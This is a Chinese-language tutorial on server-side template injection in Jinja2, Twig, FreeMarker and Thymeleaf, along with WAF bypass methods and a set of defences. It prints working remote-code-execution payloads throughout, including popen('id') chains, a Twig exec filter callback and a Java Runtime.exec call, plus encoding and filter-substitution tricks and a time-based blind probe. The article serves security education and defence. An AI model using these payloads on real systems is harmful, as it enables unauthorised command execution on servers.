Server-Side Template Injection(SSTI,服务端模板注入)是一种高危漏洞,攻击者通过在用户输入中注入模板引擎的语法代码,让服务端在渲染页面时执行恶意指令,从而实现远程代码执行(RCE)。而SSTI绕过技术,则是攻击者在遇到WAF过滤、输入限制、字符黑名单等防护措施时,利用各种编码、拼接、替代语法等手段突破防线的方法。要真正防护这种漏洞,你必须理解绕过原理,才能从根本上封堵攻击路径。本文将从SSTI的核心原理讲起,逐一拆解主流模板引擎的绕过手法,并给出切实可行的防护方案。
一、SSTI漏洞的本质与触发条件
SSTI的本质是"用户输入被当作模板代码来解析"。当Web应用使用模板引擎(如Jinja2、Twig、FreeMarker、Thymeleaf等)渲染页面时,如果直接将用户可控的参数拼接进模板字符串,而不是通过变量传递,就会触发SSTI。比如一段Python Flask代码:
from flask import Flask, request, render_template_string
app = Flask(__name__)
@app.route('/search')
def search():
query = request.args.get('q')
template = f"Search results for: {query}
"
return render_template_string(template)
这里用户输入的q参数直接被f-string嵌入模板,攻击者输入{{7*7}}就能让服务端计算并输出49,输入{{config}}就能读取Flask配置信息。这就是最基础的SSTI触发方式。
二、主流模板引擎的语法特征与攻击入口
不同模板引擎有不同的语法结构,攻击者需要先识别目标使用的是哪种引擎,才能精准注入。以下是几种常见引擎的基本语法:
Jinja2(Python):使用{{ }}执行表达式,{% %}执行语句。例如{{7*7}}、{{''.__class__.__mro__[1].__subclasses__()}}。
Twig(PHP):使用{{ }}和{% %},可通过{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}实现命令执行。
FreeMarker(Java):使用${ }和#{ },例如${"freemarker.template.utility.Execute"?new()("id")}。
Thymeleaf(Java/Spring):使用${ }和th:前缀,例如${T(java.lang.Runtime).getRuntime().exec('id')}。
攻击者通常通过报错信息、响应时间差异、盲注回显等方式来判断目标引擎类型,然后选择对应的payload进行攻击。
三、SSTI绕过的核心手法详解
当目标站点部署了WAF或对特殊字符做了过滤时,攻击者会使用以下绕过技术:
1. 字符编码绕过
WAF通常会拦截{{、}}、${}等关键字符,攻击者使用URL编码、HTML实体编码、Unicode编码等方式绕过。例如:
{{7*7}} → %7B%7B7*7%7D%7D
{{7*7}} → {{7*7}}
{{7*7}} → \u007b\u007b7*7\u007d\u007d
部分WAF只做一层解码,攻击者可以使用双重甚至多重编码来穿透。比如先URL编码再Base64编码,服务端渲染时层层解码最终还原为恶意payload。
2. 分隔符与空白符绕过
很多WAF通过正则匹配连续的{{或}}来拦截,攻击者插入空格、制表符、换行符等空白字符来打断匹配规则:
{{ 7*7 }}
{{7 * 7}}
{{
7*7
}}
在Jinja2中,空白符不影响表达式执行,但可以成功绕过基于连续字符匹配的正则规则。更高级的手法是使用注释符#来截断:
{{''.__class__#}}.__mro__[1].__subclasses__()
3. 字符串拼接绕过
当关键字被过滤时,攻击者利用模板引擎自身的字符串拼接能力来构造payload。Jinja2中可以这样:
{{''.__class__.__mro__[1].__subclasses__()}}
{{'__class__'|attr('__mro__')[1].__subclasses__()}}
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}
通过attr过滤器、十六进制编码属性名、字符串拼接等方式,完全避开对点号、引号、下划线等字符的过滤。
4. 过滤器与函数替代绕过
当直接访问属性被限制时,攻击者使用过滤器(filter)间接获取对象。Jinja2中常用的过滤器包括:attr、batch、join、replace、upper、lower等。例如:
{{'config'|attr('items')}}
{{'os'|attr('__module__')|attr('popen')('id')|attr('read')()}}
{{lipsum.__globals__.os.popen('id').read()}}
lipsum是Jinja2内置的全局函数,攻击者通过它访问__globals__,再逐步拿到os模块执行命令。这种手法的优势在于不需要直接写__class__、__subclasses__等敏感词。
5. 利用模板引擎特性绕过长度与字符限制
有些场景下输入长度被限制,或者某些字符被禁用。攻击者可以利用列表索引、切片、循环等语法来缩短payload或替代禁用字符。比如用[0]代替.来访问属性:
{{''.__class__['__mro__'][1]['__subclasses__']()}}
或者利用range、cycler等内置对象构造迭代器来间接执行代码。
6. 模板继承与包含绕过
在某些框架中,攻击者可以通过模板继承机制注入恶意代码。比如在Twig中:
{% extends "malicious_base.twig" %}
如果应用允许用户控制模板名称或继承路径,攻击者可以指向一个包含恶意代码的模板文件,实现代码执行。这种绕过方式不依赖直接注入语法,而是利用了模板引擎的文件包含机制。
四、盲注场景下的SSTI利用
实际攻击中,很多时候页面不会直接回显执行结果,这时候需要盲注技术。常用方法包括:
时间延迟盲注:通过注入sleep函数或循环来观察响应时间差异。例如Jinja2中:
{{''.__class__.__mro__[1].__subclasses__()[400].__init__.__globals__['__builtins__']['eval']('import time;time.sleep(5)')}}
如果响应延迟了5秒,说明注入成功。
带外回显(OOB):让服务端主动向攻击者控制的服务器发起请求,例如通过DNS查询或HTTP请求来确认漏洞存在。这种方式在无回显场景下非常有效。
五、SSTI防护的系统性方案
了解了绕过手法,防护才能有的放矢。以下是从架构到代码层面的完整防护策略:
1. 根本原则:永远不要将用户输入拼接进模板
这是最核心的一条。使用模板引擎的变量传递机制,而不是字符串拼接:
# 错误做法
template = f"Hello {user_input}"
return render_template_string(template)
# 正确做法
return render_template_string("Hello {{ name }}", name=user_input)
2. 输入白名单与严格过滤
对用户输入只允许预期的字符类型。比如搜索框只允许字母数字,就用正则^[a-zA-Z0-9]+$来限制。不要依赖黑名单,因为黑名单永远会被绕过。
3. 沙箱隔离模板引擎
使用Sandbox模式运行模板引擎。Jinja2的SandboxedEnvironment会限制对危险属性和方法的访问:
from jinja2.sandbox import SandboxedEnvironment
env = SandboxedEnvironment()
template = env.from_string("Hello {{ name }}")
result = template.render(name=user_input)
但要注意,沙箱并非绝对安全,历史上多次被绕过,不能作为唯一防线。
4. WAF规则优化
WAF规则不能只做单次解码匹配,需要配置多层解码检测。同时要关注异常的模板语法特征,如连续的花括号、管道符、点号链式调用等。建议结合语义分析而非单纯正则匹配。
5. 最小权限原则
Web应用进程不应以root权限运行,应使用低权限用户。即使SSTI被利用,攻击者也无法执行高权限操作。同时禁用不必要的Python/Java模块和系统命令。
6. 运行时监控与告警
部署RASP(运行时应用自我保护)工具,在应用层实时检测异常的模板解析行为。对__class__、__subclasses__、__globals__、os.popen等敏感调用进行监控和阻断。
六、实战检测建议
在安全测试中,检测SSTI可以从以下payload入手,逐步升级:
第一步:基础探测,输入{{7*7}},看是否输出49。
第二步:报错探测,输入{{config}}或{{''.__class__}},观察是否有报错信息泄露引擎类型。
第三步:命令执行探测,根据识别的引擎类型构造对应的RCE payload。
第四步:绕过测试,模拟WAF环境,测试各种编码、拼接、过滤器绕过手法是否有效。
七、总结
SSTI绕过是一场攻防博弈。攻击者不断挖掘新的编码方式、语法替代和引擎特性利用方法,而防御者需要从输入处理、模板使用规范、运行环境隔离、实时监控等多个维度构建纵深防御体系。单一的防护手段一定会被绕过,只有多层叠加、纵深防御才能真正降低风险。作为开发者和安全从业者,理解绕过原理不是为了攻击,而是为了更精准地封堵每一个可能的攻击入口。记住:模板引擎是工具,用户输入是毒药,永远不要让两者直接接触。
